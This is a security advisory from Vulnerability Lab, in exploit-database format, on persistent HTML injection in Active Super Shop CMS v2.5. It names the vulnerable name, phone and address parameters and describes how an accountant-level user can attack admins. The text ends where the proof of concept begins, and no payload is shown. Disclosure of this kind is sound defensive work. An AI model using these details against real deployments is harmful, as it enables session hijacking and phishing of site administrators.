# Exploit Title: Active Super Shop CMS v2.5 - HTML Injection Vulnerabilities References (Source): https://www.vulnerability-lab.com/get_content.php?id=2278 Release Date: 2023-07-04 Vulnerability Laboratory ID (VL-ID): 2278 Common Vulnerability Scoring System: 5.4 Product & Service Introduction: =============================== https://codecanyon.net/item/active-super-shop-multivendor-cms/12124432 Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered multiple html injection vulnerabilities in the Active Super Shop Multi-vendor CMS v2.5 web-application. Affected Product(s): ==================== ActiveITzone Product: Active Super Shop CMS v2.5 (CMS) (Web-Application) Vulnerability Disclosure Timeline: ================================== 2021-08-20: Researcher Notification & Coordination (Security Researcher) 2021-08-21: Vendor Notification (Security Department) 2021-**-**: Vendor Response/Feedback (Security Department) 2021-**-**: Vendor Fix/Patch (Service Developer Team) 2021-**-**: Security Acknowledgements (Security Department) 2023-07-05: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== Medium Authentication Type: ==================== Restricted Authentication (User Privileges) User Interaction: ================= Low User Interaction Disclosure Type: ================ Responsible Disclosure Technical Details & Description: ================================ Multiple html injection web vulnerabilities has been discovered in the official Active Super Shop Multi-vendor CMS v2.5 web-application. The web vulnerability allows remote attackers to inject own html codes with persistent vector to manipulate application content. The persistent html injection web vulnerabilities are located in the name, phone and address parameters of the manage profile and products branding module. Remote attackers with privileged accountant access are able to inject own malicious script code in the name parameter to provoke a persistent execution on profile view or products preview listing. There are 3 different privileges that are allowed to access the backend like the accountant (low privileges), the manager (medium privileges) or the admin (high privileges). Accountants are able to attack the higher privileged access roles of admins and manager on preview of the elements in the backend to compromise the application. The request method to inject is post and the attack vector is persistent located on the application-side. Successful exploitation of the vulnerabilities results in session hijacking, persistent phishing attacks, persistent external redirects to malicious source and persistent manipulation of affected application modules. Request Method(s): [+] POST Vulnerable Module(s): [+] Manage Details Vulnerable Parameter(s): [+] name [+] phone [+] address Affected Module(s): [+] manage profile [+] products branding Proof of Concept (PoC): ======================= The html injection web vulnerabilities can be exploited by remote attackers with privileged accountant access and with low user interaction. For security demonstration or to reproduce the persistent cross site web vulnerability follow the provided information and steps below to continue.
